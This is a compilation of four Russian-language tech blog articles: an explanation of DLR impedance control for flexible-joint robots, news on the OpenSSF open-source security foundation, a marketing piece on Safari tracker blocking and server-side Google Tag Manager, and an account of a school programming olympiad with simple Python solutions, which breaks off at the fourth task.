DLR RMC — часть 2. Управление механическим импедансом: что за зверь и как они его готовят

Ссылка на первоисточник — здесь больше порядка с оформлением, особенно, для видеороликов.

Содержание

Es ist noch kein Meister vom Himmel gefallen,
или
Не боги горшки обжигают

Пословица

Введение

Здесь мы расскажем о Центре робототехники и мехатроники (Robotics and Mechatronics Center, RMC) Национального центра авиации и космонавтики Германии. На языке оригинала всё это звучит вот так: Robotik und Mechatronik Zentrum (аббревиатура используется английская, RMC) и Deutsches Zentrum für Luft- und Raumfahrt (аббревиатура используется немецкая, DLR).

DLR RMC не настолько известен широкой публике, как, например, компания Boston Dynamics, о которой мы уже говорили ранее. Тем не менее, я уверен, что вы наверняка знаете разработки Центра, если хоть сколько-то интересуетесь робототехникой. В первой части мы рассказали о том, каким образом эти разработки связаны с космосом и о том, чем вообще RMC прославился в области робототехники. Здесь же слегка отдёрнем покрывало с интересного подхода к построению робототехнических систем, позволившего учёным и инженерам RMC добиться тех результатов, которые мы можем наблюдать сегодня. Он применён для многих роботов Центра, ставших широко известными, и не только в робототехническом сообществе.

Речь об управлении механическим импедансом (impedance control).

Данный материал родился потому, что возникла идея поделиться тем, что я видел и слышал лично. Просто так, не имея собственного очного впечатления, собрать в кучу всю эту информацию было бы сложнее. Так что, думаю, материал должен быть интересен не только мне. А если он ещё и поможет кому-то сделать первый, самый трудный шаг к робототехническим вершинам в данном направлении, то я буду считать это и своим успехом тоже.

Управление механическим импедансом: о понятиях

Проблемой управления в технике является построение регулятора, отвечающего заданным критериям качества управления. В этой статье, пользуясь доступными публикациями [1], как раз и опишем, как построены регуляторы, обеспечивающие роботы RMC их замечательными качествами.

Давайте вначале проясним, что же это за зверь такой — impedance control. Здесь нам важно понять принцип. Программный код писать не будем, ведь конкретная реализация — это дело для каждого разработчика личное, интимное. Ну, а вы — дерзайте!

Управление механическим импедансом [2], говоря простыми словами, наделяет манипулятор свойствами системы пружина – демпфер с регулируемыми по произвольному закону и по произвольным координатам жёсткостью и коэффициентом демпфирования. Причём когда мы говорим о жёсткости и демпфировании при управлении механическим импедансом, мы имеем в виду активные жёсткость и демпфирование. Т.е. эти виртуальные «пружина» и «демпфер» на самом деле физически не существуют, а реализуются приводами, что отличает их от реальных звеньев и шарниров с (пассивной) податливостью.

LBR iiwa. Здесь используется термин compliance (податливость), а не impedance. Ну, маркетологам виднее, что ближе пользователям

Кажется, все работы по управлению механическим импедансом ссылаются на профессора MIT Невилла Хогана [3]. Он, рассматривая традиционные методы управления промышленными манипуляторами, выделяет среди них два известных подхода, которые объединяет возможность пренебречь динамическим взаимодействием между манипулятором и внешней средой. В первом случае, когда контакт с внешними объектами отсутствует, усилия взаимодействия равны нулю, и может быть реализовано управление по координате (положению или скорости). По сути, манипулятор здесь рассматривается как изолированная система. Во втором случае, когда при контакте с твёрдым объектом отсутствует перемещение, могут быть использованы алгоритмы управления по усилию. В обоих случаях равна нулю механическая работа, выполняемая манипулятором: dW = F × dX = 0.

В общем случае динамическими взаимодействиями пренебречь нельзя, потому что манипулятор и окружающая среда взаимодействуют между собой, обмениваясь механической энергией (dW ≠ 0), а значит, манипулятор уже нельзя рассматривать как изолированную систему. В каждой степени свободы мгновенная мощность этого взаимодействия определяется как произведение двух сопряжённых переменных: усилия (например, силы или крутящего момента; электрического напряжения; и т.п.) и перемещения (например, скорости движения; силы тока; и т.п.). В результате становится недостаточно управлять какой-то одной переменной.

Хоган предлагает единый подход, включающий упомянутые выше в качестве частных решений. Продолжая аналогию с электричеством, он рассматривает два вида свойств, которыми обладают физические системы: импеданс (impedance) и адмиттанс (admittance). Эти понятия знакомы электротехникам в качестве взаимно обратных параметров электрических цепей: комплексного сопротивления и комплексной проводимости. Для систем, описанных в терминах адмиттанса, входом является усилие, а выходом — перемещение. Наоборот, для систем, описанных в терминах импеданса, входом является перемещение, а выходом — усилие. В случае линейных систем описывающие их системы уравнений могут быть выражены как через импеданс, так и через адмиттанс. Нелинейные же системы могут быть описаны либо через импеданс, либо через адмиттанс, т.е. для них эти параметры не являются взаимозаменяемыми.

Отметим, что традиционно управление промышленными манипуляторами (их механической частью) рассматривается в терминах адмиттанса, поскольку призвано реализовать заданный закон перемещения звеньев манипулятора (на выходе) путём регулирования, в конечном итоге, усилий приводов (на входе механической части).

Важно то, что в случае динамического взаимодействия физических систем они должны дополнять друг друга: если одна из них является импедансом, вторая должна быть адмиттансом. Например, если манипулятор взаимодействует с внешними объектами, обладающими инерцией, т.е. воспринимающими на входе усилия и производящими на выходе перемещения, то внешняя среда вполне может быть представлена как импеданс, а манипулятор — как адмиттанс. Если же объект обладает кинематическими ограничениями, то приложить к нему усилие по-прежнему можно, но оно не обязательно приведёт к перемещению и, таким образом, в общем случае поведение внешнего объекта может быть корректно описано только в терминах адмиттанса. А значит, быть импедансом остаётся манипулятору. Потому что кто-то должен уступить. И это не внешний объект.

А вот ещё и так можно!

Теперь, вооружённые знанием о том, что в общем случае импедансом должен быть манипулятор, посмотрим, каким образом данный подход реализуется в DLR RMC.

Модель динамики

В робототехнике известно [4] следующее уравнение, описывающее в матричной форме динамику механической части манипулятора в пространстве обобщённых координат q:

         (1)

Чтобы оно не казалось страшным, но чтобы при этом и не лезть в литературу, от которой станет ещё страшнее из-за многоэтажных матричных вычислений, поясним, как можно быстро понимать подобные уравнения.

Правая часть — это сумма усилий, действующих на звенья манипулятора, заданных вектор-столбцом τ сил / крутящих моментов со стороны приводов и вектор-столбцом τext сил / моментов со стороны внешней среды. Все компоненты усилий (т.е. элементы вектор-столбцов) заданы в системах координат соответствующих сочленений манипулятора, т.е. в пространстве обобщённых координат.

Левая часть уравнения — это то, на что «расходуются» эти усилия. Первое слагаемое — произведение матрицы M(q) масс и моментов инерции звеньев манипулятора на вектор-столбец ускорений в его сочленениях (вспоминаем второй закон Ньютона). Второе слагаемое учитывает центробежные силы и силы Кориолиса, пропорциональные скоростям, т.е. фиктивные силы, которых в природе как бы нет и которые появляются в уравнении только потому, что нам удобнее вести расчёты в системах обобщённых координат, которые для вращательных сочленений являются вращающимися, т.е. неинерциальными. Ну, а третье слагаемое — это вектор-столбец g(q) сил гравитации, действующих на сочленения, для текущей конфигурации (положения) манипулятора q.

Итак, сумма всех сил, действующих в сочленениях манипулятора, тратится на преодоление силы тяжести и на сообщение ускорения его звеньям. Как видим, всё очень даже понятно.

Теперь посмотрим, что представляет собой шарнир манипулятора. Как мы уже говорили выше, манипуляторы RMC обладают существенной гибкостью, что и отражено в модели шарнира. На приведённой схеме B обозначает момент инерции ротора двигателя, M — массу звена, а K — жёсткость упругого элемента в шарнире. Ротор приводится во вращение моментом τm, а на звено со стороны внешней среды действует сила Fext (в некоторой базовой системе координат). Уравнение движения ротора выглядит следующим образом:

Манипулятор LWR III и модель его шарнира

,         (2)

где θ — это угловое положение со стороны двигателя.

Снова читаем уравнение: электромагнитный момент двигателя τm приводит во вращение ротор (первое слагаемое — эквивалент того же второго закона Ньютона для вращательного движения), а также создаёт момент τ на звене манипулятора. Этот момент передаётся на звено через «пружину» шарнира, поэтому он пропорционален углу скручивания «пружины» (закон Гука), т.е. разности углов со стороны двигателя θ и со стороны звена q:

         (3)

Выражения (2) и (3), как и выражение (1), записаны в матричной форме. Оговоримся также, что, хотя рассуждения здесь и далее приводятся на примере вращательных движений, они справедливы и для общего случая, т.е. для произвольного типа сочленений (поступательных, вращательных и любой их комбинации).

Управление импедансом в обобщённых координатах

Т.к. мы договорились строить регулятор с управляемыми жёсткостью и демпфированием, рассмотрим его схему. Как видно на рисунке, к рассмотренной выше модели шарнира добавились элементы, соответствующие коэффициентам жёсткости Kθ и демпфирования Dθ регулятора. Также добавилось изображение обратной связи по моменту τ (показана пунктиром), о которой будет сказано ниже.

Модель шарнира с регулятором вида «масса — пружина — демпфер»

Поскольку речь идёт о программном регуляторе, мы можем реализовать любой желаемый закон управления. Исходя из приведённой схемы регулятора вида «масса — пружина — демпфер», закон управления должен быть следующим:

Здесь θd — желаемый (заданный) угол поворота двигателя, а разность d – θ) соответствует углу скручивания виртуальной пружины регулятора. Второе слагаемое уравнения, отвечающее за демпфирование, в соответствии с известной моделью вязкого трения, пропорционально скорости скручивания. Знак минуса перед ним означает стремление к снижению (демпфированию) скорости двигателя.

Глядя на уравнение, можем заметить, что мы имеем, по сути, PD-регулятор по углу поворота двигателя. Приняв

запишем уравнение в следующей форме:

         (4)

Для обеспечения качественного управления гибким шарниром при помощи «гибкого» регулятора важным оказывается снижение инерции промежуточного элемента массы (в данном случае, ротора двигателя). В противном случае, результирующее движение может существенно отличаться от желаемого. Не имея возможности снижения реального момента инерции ротора, мы, тем не менее, можем «уменьшить» его искусственно путём введения обратной связи по моменту. Поскольку, повторимся, все законы управления реализуются программно, мы можем реализовать следующую обратную связь, регулируя момент двигателя τm с помощью внутреннего контура тока:

,         (5)

где Bθ — желаемый момент инерции ротора, а I — единичная матрица (мы ведь по-прежнему ведём записи в матричной форме). Если теперь подставить уравнение (5) в (2), то можно получить:

         (6)

Видим, что, с точки зрения верхнего уровня, система (6) с обратной связью (5) аналогична системе (2) без обратной связи, для которой мы бы самостоятельно выбирали произвольный момент инерции ротора Bθ и желаемый закон изменения момента двигателя u.

Управление импедансом в обобщённых координатах

Подытожим. Уравнение (4) определяет искомый регулятор с произвольными матрицами коэффициентов жёсткости и демпфирования, реализующий в обобщённых координатах управление механическим импедансом при заданном желаемом законе движения системы, описываемой уравнениями (1), (6), (3), при условии реализации внутренней обратной связи (5) по моменту. Выпишем полученную систему уравнений.

Уравнения динамики системы:

         (I)

Уравнение регулятора внутреннего контура:

         (II)

Уравнение регулятора для управления импедансом в обобщённых координатах:

         (III)

Отметим ещё, что на этом этапе знание модели динамики манипулятора как бы ещё необязательно. Казалось бы, мы реализуем обратную связь внутреннего контура (II), строим регулятор (III), подбирая его коэффициенты, и затем управляем, задавая желаемый закон изменения координаты. Модель динамики понадобится ниже, а здесь её уравнения приведены для понимания процесса.

Управление импедансом в декартовых координатах

На практике часто удобнее задавать желаемый закон управления не в обобщённых, а в базовых (например, декартовых) координатах. Зная решение прямой задачи кинематики, можно найти вектор-столбец декартовых координат выходного звена манипулятора и соответствующую матрицу Якоби в функции координат звеньев — x(q), J(q) — и координат двигателей — x(θ), J(θ):

,

,

Управление импедансом в декартовых координатах

Как мы помним из обсуждения выражения (6), управляющий сигнал u в уравнении (4) имеет физический смысл желаемого момента двигателя, причём его слагаемые отвечают, соответственно, за составляющие виртуальной пружины (τK) и виртуального демпфера (τD). Учитывая [5], что

,

можно записать уравнение регулятора (4) в декартовых координатах, преобразуя моменты в сочленениях в силы на выходном звене:

,

или:

,         (7)

где Kx и Dx — матрицы коэффициентов жёсткости и демпфирования манипулятора в декартовых координатах, а

— вектор-столбец взятых с обратным знаком отклонений текущих координат выходного звена от желаемых xd. Наконец, продифференцировав выражение для x(θ) по времени, получим:

Таким образом, для управления механическим импедансом в декартовых координатах в системе уравнений (I), (II), (III) необходимо лишь заменить уравнения регулятора (III) в обобщённых координатах на уравнения (IV), записанные в форме (7):

         (IV)

Теперь матрицы коэффициентов жёсткости и демпфирования, а также вектор-столбец желаемого движения системы можно задавать в декартовых координатах.

Компенсация гравитации

До сих пор в уравнениях для регулятора не учитывалось влияние силы тяжести. Тем не менее, в случае с упругим приводом её учёт необходим. Это делается путём разделения задающего сигнала на составляющие, одна из которых осуществляет собственно управление движением (как было описано выше), а вторая только компенсирует действие силы тяжести. В статьях RMC указывается, что хорошего результата удаётся добиться в случае расчёта компенсирующей составляющей в координатах со стороны двигателя исходя из условия установившегося равновесного состояния.

Алин Альбу-Шеффер демонстрирует отдельно режим компенсации гравитации: робот Justin свободно движется под воздействием внешних сил

Условие равновесия, при котором сила упругости, возникающая вследствие скручивания «пружины» шарнира, уравновешивает силу тяжести со стороны звена, для некоторых равновесных координат θ0, q0 (соответственно, со стороны двигателя и со стороны звена) может быть записано следующим образом:

где g(q0) — вектор-столбец сил, вызванных гравитацией и действующих на сочленения, рассчитанный для конфигурации манипулятора q0 — см. уравнение (1). Выражение для g(q) мы знаем из модели динамики манипулятора. Собственно, здесь нам в первый раз потребовалось знание модели динамики для её непосредственного учёта в уравнениях регулятора.

На основе этого условия равновесия найдём компенсирующую добавку ug размерности момента двигателя для уравнений (4), (7) управляющего сигнала u:

,

,

Введённые здесь новые обозначения используются для упрощения записи, чтобы показать, что компенсирующая добавка ug может быть выражена как функция угла θ.

Режим компенсации гравитации для LBR iiwa

Выпишем теперь систему уравнений, описывающую динамику манипулятора и регулятор для управления импедансом, с учётом составляющей для компенсации силы тяжести:

Уравнения динамики системы:

         (I)

Уравнение регулятора внутреннего контура:

         (II)

Уравнение регулятора для управления импедансом в обобщённых координатах:

         (V)

Уравнение регулятора для управления импедансом в декартовых координатах:

         (VI)

А ещё модель динамики позволяет выделить внешние усилия на звеньях робота (например, с целью реализации режима контроля внешних усилий для безопасной совместной работы с человеком)

Вязко-упругие шарниры

Теперь, наконец, можем привести общую структурную схему регулятора для управления механическим импедансом, уравнения которого мы всё это время выводили:

Регулятор для управления механическим импедансом в декартовых координатах

Казалось бы, на этом всё? Не совсем. Вроде все переменные на схеме нам уже известны и соответствуют приведённым выше уравнениям. Кроме выходного момента τa. Но в наших-то уравнениях записан τ. В чём разница? Посмотрите на модель шарнира, приведённую в начале статьи. Видите в ней между ротором B и звеном M элемент жёсткости K? А на схеме регулятора к нему добавился демпфер D. Потому что в модели шарнира могут быть учтены не только его упругие, но и демпфирующие свойства:

Здесь составляющая τK, в соответствии с (3), пропорциональна углу скручивания «пружины» шарнира,

,

а τD (вязкое трение) — скорости скручивания,

Обозначая привычно τ = τK, легко показать, что:

,

,

и тогда модель динамики системы (I) запишется в виде [6]:

         (VII)

Ну, вот теперь, кажется, всё.

Сложные режимы управления импедансом для робота Justin. «Связанный пространственный импеданс» — виртуальная пространственная пружина: между схватами «рук»; «прикреплённая» к объекту манипулирования

Заключение

Вспоминая обсуждавшееся в статье о Boston Dynamics деление методов построения систем управления роботов на две условные группы: «классические» и «практические», — мы можем уверенно отнести рассмотренный здесь подход к «классическим». Он не противоречит традиционно применявшимся для промышленных манипуляторов и теоретически проработанным методам управления по координате, а дополняет их. Дотошные немцы разработали алгоритмы в аналитическом виде, провели их детальный анализ, доказали устойчивость.

В эту статью вошло далеко не всё. Здесь мы только рассмотрели саму идею, доказавшую свою работоспособность. Вот и наши ребята в ЦНИИ РТК в 2016 г. сумели соорудить первую работающую версию манипулятора с управлением импедансом [7]. Кажется, первая оказалась и последней, но это уже другая история. Главное — что получилось!

Поддержание заданного вертикального усилия

«Обтекание» препятствия

Манипулятор-пружина

И хоть с огрехами, но штырь лезет в отверстие!

Ну, а в RMC не остановились на достигнутом и продолжили разработку алгоритмов управления импедансом [8]. Подтверждением тому является робот David, на котором исследуется управление импедансом теперь уже для гибких приводов, которые специально спроектированы гибкими. В отличие от традиционных гибких манипуляторов, в которых податливость является вынужденным результатом мероприятий по снижению веса.

Робот David: ESπ- (ESP-) управление — развитие алгоритмов управления механическим импедансом

Если же говорить о развитии отечественной робототехники, то стоит учиться на лучших мировых примерах, таких как пример RMC. Здесь была предпринята попытка не скучно написать формулы, а сделать их понятными. Когда человек понял идею, заинтересовался, то дальше он уже и сам разберётся в деталях (а потом и усложнит всё обратно до какой угодно степени скучности). Так что пусть меня простят строгие математики за допущенные вольности, если этот текст сможет вдохновить кого-то из начинающих (или не очень начинающих) робототехников, пробивающих свою дорогу к великому будущему!


  1. См., например: A Passivity Based Cartesian Impedance Controller for Flexible Joint Robots — Part I: Torque Feedback and Gravity Compensation,
    On the Passivity-Based Impedance Control of Flexible Joint Robots,
    A Unified Passivity-based Control Framework for Position, Torque and Impedance Control of Flexible Joint Robots
    и др.
  2. Impedance control — Wikipedia
  3. N. Hogan. Impedance Control: An Approach to Manipulation: Part 1 — Theory, Part II — Implementation, Part III — Applications
  4. См., например: Шахинпур, М. Курс робототехники. Пер. с англ. — М.: Мир, 1990. — 526 с.: ил. ISBN 5-03-001375-X (глава 5)
  5. См. [3]
  6. Честно говоря, мне кажется, что уравнения (VII) должны выглядеть так:


    Потому что демпфирующий момент до звена манипулятора на доходит. На то он и демпфирующий.
    Возможно, когда-нибудь я проясню этот вопрос.
  7. Implementation of impedance trajectory control on a 6-DoF manipulator
  8. Elastic Structure Preserving (ESP) Control for Compliantly Actuated Robots
  9. Impedance Control for Soft Robots — Youtube-канал DLR RMC
  10. Youtube-канал KUKA
  11. Justin Humanoid Robot with DLR III arms and DLR II hands — Youtube-канал Hizook
  12. Joint Impedance Control with Kuka lwr — Youtube-канал Hamid Sadeghian
  13. Cartesian Impedance Control wwith KUKA LWR — Youtube-канал Hamid Sadeghian

ссылка на оригинал статьи https://habr.com/ru/post/519826/

Кто займется развитием безопасности открытого ПО — обсуждаем новые проекты и их будущее

В августе Linux Foundation основали фонд OpenSSF. В него вошли — Core Infrastructure Initiative и Open Source Security Coalition. Их участники разработают инструментарий для поиска уязвимостей в коде и верификации программистов, участвующих в его написании. Рассказываем, что к чему.


Фото — Andrew Sharp — Unsplash

В чем выгода для ИТ-индустрии

Меньше багов в открытом ПО. Главные усилия фонда пойдут на поддержку решений, сокращающих вероятность появления критических уязвимостей на уровне ИТ-инфраструктуры.

Примером может быть Heartbleed в OpenSSL, позволяющая несанкционированно читать память на сервере или на клиенте. В 2014 году уязвимыми оказались около 500 тыс. сайтов, и примерно 200 тыс. из них до сих пор не пропатчены.

Новые разработки в этой области должны способствовать более оперативной реакции на аналогичные проблемы. GitHub уже передали Open Source Security Coalition решение Security Lab — оно помогает участникам площадки быстрее доводить информацию о багах в коде до мейнтейнеров. Интерфейс GitHub позволяет получить CVE-идентификатор для обнаруженной проблемы и подготовить отчет.

Лучшие методологии разработки. Будет сформирована курируемая библиотека лучших практик, на содержимое которой может повлиять любой участник отрытого сообщества. Для этих целей раз в две недели инженеры из крупных ИТ-компаний будут проводить онлайн-встречи и обсуждать технологии, фреймворки и особенности языков программирования.


Фото — Walid Hamadeh — Unsplash

Прозрачный процесс отбора специалистов. В Core Infrastructure Initiative и Open Source Security Coalition планируют разработать новые механизмы проверки контрибьюторов. Об их специфике известно мало, но они помогут избежать повторения истории с библиотекой event-stream для Node.js, когда новый мейнтейнер внедрил в неё бэкдор для кражи криптовалюты.

Взгляд на перспективу

ИТ-сообщество положительно встретило новые инициативы. ИБ-специалист Microsoft Майкл Сковетта (Michael Scovetta) отметил, что с момента обнаружения уязвимости до появления первых эксплойтов проходит всего три дня. Он считает, что инструментарий, разрабатываемый в рамках проектов OpenSSF, позволит выпускать «заплатки» в сжатые сроки и сокращать риски.

Хотя один из резидентов Hacker News в тематическом треде высказал беспокойство, что специалисты начнут разработку новых ИБ-стандартов вместо того, чтобы развивать существующие. В результате вновь станет актуальной история, описанная в одном из комиксов XKCD.


Материалы по теме из нашего корпоративного блога:

Какие есть открытые ОС для сетевого оборудования
Как Европа переходит на открытое ПО для госучреждений
Участие в open source проектах может быть выгодным для компаний — почему и что это дает
Вся история Linux. Часть I: с чего все началось
Вся история Linux. Часть II: корпоративные перипетии
История Linux. Часть III: новые рынки и старые «враги»
Бенчмарки для Linux-серверов


ссылка на оригинал статьи https://habr.com/ru/company/1cloud/blog/519620/

Обновленный браузер Safari: как быть маркетологам

Что произошло?

16 сентября вышла новая версия операционной системы iOS 14 для мобильных устройств экосистемы Apple. Обновился также и встроенный браузер Safari — не только на смартфонах и планшетах, но и на ноутбуках и десктопах. В новой версии браузера появился встроенный функционал блокировки трекинговых пикселей на сайтах для лучшей защиты пользовательских данных. Блокируются популярные пиксели для веб-аналитики, например:

  • Google Tag Manager
  • Google Analytics
  • Facebook
  • Яндекс.Метрика
  • Mail.ru (myTarget)
  • Doubleclick (Floodlight)
  • VK

Вот так это выглядит:

image

Статистику по заблокированным пикселям можно также отследить в Safari:

image

И в iPhone и iPad:

image

Что происходит, если серфить интернет с помощью обновленного браузера Safari:

  • ни одна стандартная система веб-аналитики, а значит и бренды, не могут отследить действия пользователя;
  • пользователь не попадает в ремаркетинговые аудитории;
  • не работает Google Tag Manager.

Важно понимать

Соблюдение конфиденциальности пользователей и усиленная защита данных сейчас — популярный рыночный тренд. Это понимают компании-разработчики браузеров, постепенно внедряя технологии повышенной приватности. Для справки: доля пользователей браузера Safari на рынке составляет 17%. И хотя ограничения в будущем только усилятся, мы еще можем успеть подготовиться и улучшить работу наших систем аналитики.

Как ограничение работает на самом деле?

Многие тематические ресурсы и обозреватели (такие, как Apple Insider и Search Engine Journal) не совсем корректно поняли сообщениями в браузере Safari и вышли с громким сообщением, что трекинг-системы перестали работать. На самом деле обновленная версия браузера не блокирует работу трекинговых систем, а повышает конфиденциальность даннх пользователей и показывает пользователю сообщение о том, какие трекинг-системы обнаружены на веб-сайте.

Как решить проблему?

Весной в Google Tag Manager появилась бета-версия функции настройки отслеживания на стороне сервера (Server-side Tagging).

image

Как работает Server-side Tagging

Если вкратце, то тегирование на стороне сервера позволяет запускать контейнеры Google Tag Manager на серверном окружении. К сожалению, на данный момент инструмент все еще находится в стадии бета-тестирования, поэтому пока что доступен только вариант установки на серверах Google Cloud Platform, однако будем надеяться, что поддержка других серверов появится в ближайшее время.

Отличия от стандартных контейнеров

Во многом тегирование на стороне сервера похоже на стандартные контейнеры Google Tag Manager:

  • теги запускаются по триггерам и оперируют переменными;
  • новые контейнеры можно запустить в режиме предпросмотра и затем опубликовать;
  • пользователи могут создавать свои собственные кастомные шаблоны.

Однако, есть и отличия:

  • контейнер серверного типа отличается от web-, app- и AMP-контейнеров;
  • триггеры срабатывают не при наступлении событий на сайте, а при получении входящих HTTP-запросов;
  • эти HTTP-запросы обрабатываются Клиентом — это новая сущность GTM, которая является адаптером между устройством пользователя и серверным контейнером;
  • клиент обрабатывает запросы, генерирует объект данных события и выгружает его в виртуальный контейнер, с помощью которого теги могут обращаться к объектам событий, чтобы отправлять данные в сторонние системы.

Вот схема работы нового типа контейнеров:

image

А вот как выглядит интерфейс — отличий от “стандартного” веб-контейнера совсем немного:

image

Более подробно про добавление тегов на стороне сервера можно прочитать в официальной документации.

Преимущества Server-side Tagging

С помощью тегирования на стороне сервера мы можем проводить полноценную веб-аналитику без необходимости установки какого-либо пикселя в код сайта. При правильной настройке, мы сможем забыть о блокировке трекинга как со стороны производителей браузеров, так и со стороны плагинов блокировки рекламы (например, AdBlock). Помимо этого, браузер перестает загружать скрипты пикселей с внешних серверов, соответственно, ощутимо возрастает скорость работы сайта для пользователей.

Скорость загрузки сайта

При переносе логики создания и обработки событий на сторону сервера, у нас появляется замечательная возможность убрать из кода сайта огромное количество JS-кода от сторонних поставщиков, что значительно скажется на скорости загрузки и отрисовки страниц в браузере пользователя.

Все данные хранятся у вас

Вы полностью контролируете и владеете всеми данными на сервере Google Cloud:

  • сервера Google Cloud обрабатывают только те данные, которые вы хотите обрабатывать;
  • вы владеете всеми данными. Google не использует ваши данные для рекламных целей;
  • вы всегда знаете и контролируете в каком регионе хранятся ваши данные;
  • хранение данных производится со всеми современными стандартами безопасности.

Обходим блокировки трекеров отслеживания

Блокировка трекеров и пикселей обычно осуществляется двумя способами:

  • блокируется JS-код от трекеров (пиксели на сайте);
  • блокируется домен трекера, чтобы предотвратить отправку данных на него.

С помощью серверного отслеживания мы обходим обе эти проблемы:

  • мы переносим логику из пикселей на серверное окружение, не размещая на сайте JS-код, поэтому браузер не сможет его заблокировать;
  • мы можем привязать к серверному контейнеру свой домен, поэтому блокировка по домену не будет работать.

Недостатки серверного отслеживания

Дополнительные расходы на сервер в облаке

На данный момент GTM поддерживает размещение серверных контейнеров только на серверах Google Cloud. Стоимость аренды одного сервера начинается от 40 долларов в месяц.

Не все пиксели можно поставить через серверный контейнер

Серверный контейнер работает как замена JS-коду на стороне браузера, поэтому поставщик пикселя должен уметь принимать данные через HTTP-запросы.

Для простого отслеживания, как правило это не является проблемой. Но проблемы могут возникнуть, если в скрипте используется сложный JS-код, который нельзя перенести на сервер, как например в Вебвизоре от Яндекс.Метрики. Он точно не будет работать.

Как внедрить отслеживание на стороне сервера?

  1. Создать серверный контейнер в Google Tag Manager;
  2. Зарегистрироваться на Google Cloud Platform, создать новый проект и настроить способ оплаты;
  3. Развернуть сервер Google Cloud AppEngine;
  4. Привязать свой домен к созданному серверу;
  5. Перенести теги, триггеры и переменные из веб-контейнера в серверный контейнер GTM.

Подробная инструкция доступна в официальной документации по ссылке.

ссылка на оригинал статьи https://habr.com/ru/post/519868/

Опыт проведения городской школьной олимпиады по программированию

В этой статье я расскажу про опыт проведения городской школьной олимпиады по программированию.

Идея организовать местную олимпиаду возникла ещё на стадии запуска детской школы программирования. За два года работы стало ещё более очевидно, что счёт идёт на единицы различных соревнований в этом направлении, а значит мало возможностей для проверки учеников, вовлечения вне занятий, дополнительной мотивации результатами. Скажу даже так: в Иркутске нет соревновательных мероприятий для учеников по программированию на scratch, и только одна олимпиада в которой могут участвовать питонисты — “Играем в программистов”.

Казалось, что организовать олимпиаду нужно много ресурсов: найти большое помещение, например договориться с крупной библиотекой, обеспечить техникой, найти преподавателей-волонтёров, обеспечить безопасность и море других мелочей. И это было некоторым камнем преткновения для частного небольшого учебного заведения в части ресурсов. Решение пришло неожиданно — дистанционная олимпиада! В феврале 2020 года пошли слухи про скорую удалёнку, что очные мероприятия запретят и для меня всё стало на свои места.

Теперь про организацию олимпиады:

Задания мы выложили в вконтакте в своей группе 20 марта 2020 года. Время для решения задач дали чуть больше недели — с 20 марта 2020 года по 29 марта 2020 года. Оценку работ планировали провести до 12 апреля 2020 года, даже сомневались не мало ли, но справились всего за 4 дня. При этом участников было чуть больше 100, проверка была ручная(но об этом попозже).

Участников поделили на три категории:

  • младшая ступень (до 7 класса общеобразовательных учреждений включительно, задачи решены на визуальном языке программирования scratch/snap)

  • средняя ступень (до 7 класса общеобразовательных учреждений включительно, задачи решены на любом разрешённом олимпиадой языке программирования)

  • старшая ступень (8-11 классы общеобразовательных учреждений, задачи решены на любом разрешённом олимпиадой языке программирования).

Что же это за такие разрешённые языки. Мы посоветовались с муниципальными коллегами, которые проводят уже больше 15 лет олимпиаду “Играем в программистов” и допустили следующий список:

Язык

Редактор

Компилятор

C++

Code: Blocks, VisualStudio

VisualStudio 2019

C#

Code: VisualStudio

VisualStudio 2019

Pascal

FreePascal 2.6.2

FreePascal 2.6.2

Basic

FreeBasic 0.90.1

FreeBasic 0.90.1

Java

NetBeans, Eclipse

JDK 1.7.0

Python

IDLE

Python 3.6

Учащимся предлагались задания с указанием максимального количества баллов за каждую задачу и примерными тестами к ней. Решения заданий олимпиады должны были предоставить в виде исходного кода на языке программирования. Ничего необычного. Главное — обозначить как правильно называть имена файлов, по опыту преподавания — дети любят творческие названия проектов. Мы прописали в положении к олимпиаде такое правило: Имя файла даётся по следующему принципу: до 5 символов – название учебного заведения с указанием территории, 2 символа – инициалы участника и последний символ – номер задачи. В имени файла можно использовать только латинские буквы и цифры, первый символ – буква. В основном все следовали указаниям. Когда проверяешь сотни работ, у каждого одни задачи решены, другие нет — соблюдение данного пункта очень экономит время на проверке.

На каждую задачу делали по 5 тестов, за каждый пройденный тест начисляли по 2 балла. Разрешили предоставление дополнительных решений задач. За каждое дополнительное решение начисляли 5 баллов при условии, что и основное решение и дополнительное успешно прошли все тесты. Дополнительное решение должно существенно отличается по методу решения задачи. Сделали это для подстраховки, если будут ученики, решившие все задачи и набравшие максимальные баллы. Спойлер — такого не случилось. Отчасти потому что задачи были составлены не одного уровня, а от совсем простых до очень-очень сложных.

Теперь приведём сами задачки и наши варианты решений, которые мы публиковали для учеников своей школы в рамках их образовательной программы вместе с разбором решений.

Разборы решений, ниже под спойлерами сами задачи и код на python

Задача 1

Через ввод с клавиатуры задаётся количество чисел. Затем сами числа передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список. Составить программу, подсчитывающую среднее арифметическое. Результат записывается в переменную. Визуально(scratch/snap) – на экране отображается результат любым способом (например, функция говорить/думать). Текстовое (python) – результат выводится в консоль на экран.

Примерный тест:

Входные данные:

Выходные данные:

5

1 2 3 4 5

 3

Решение 1
a = int(input("Количество чисел:")) y = 0 for i in range(a):     x = float(input("Число:"))     y += x y = y / a print("Среднее арифметическое: " + str(y))

Задача 2

У Кота, Пса и Птицы имеется по некоторому количеству грибов (у всех по разному количеству).  Данные по количеству передаются через ввод пользователя с клавиатуры и заносятся в готовый пустой список, где первый элемент — грибы Кота, второй элемент —  грибы Пса, третий элемент — грибы Птицы.

Составить программу, определяющую, у кого из них наибольшее количество. Результат записывается в переменную. Визуально (scratch/snap) – на экране появляется персонаж с наибольшим количеством грибов и говорит (функция говорить/думать)) количество грибов. Текстовое (python) – имя персонажа выводится в консоль на экран.

Примерный тест:

Входные данные

10 30 20

20 10 30

Выходные данные

Пёс

Птица

Решение 2
s = [] for i in range(3):     griby = int(input())     s.append(griby) if s[0]>s[1] and s[0]>s[2]:     print("Кот") elif s[1]>s[2]:     print("Пёс") else:     print("Птица")

Задача 3

Через ввод с клавиатуры задаётся количество девочек, у которых было по некоторому количеству яблок. Данные по количеству передаются в готовый пустой список. Каждая девочка съела по стольку яблок, каков её порядковый номер.

Составить программу для определения у кого сколько осталось яблок. Результат записывается в список. Визуально (scratch/snap) – на экране отображаются пять девочек (обязательно использование клонов) и говорят (функция говорить/думать) количество яблок. Текстовое (python) – количество яблок выводятся в консоль на экран. По каждой девочке? По порядку отдельной строкой.

Примерный тест:

Входные данные:

Выходные данные:

5

10 20 30 40 50

 9

18

27

36

45

Решение 3
girls = int(input()) apple = [] for numgirl in range(1, girls + 1):     a = int(input())     a = a - numgirl     apple.append(a) for numgirl in range(girls):     print(apple[numgirl])

Задача 4

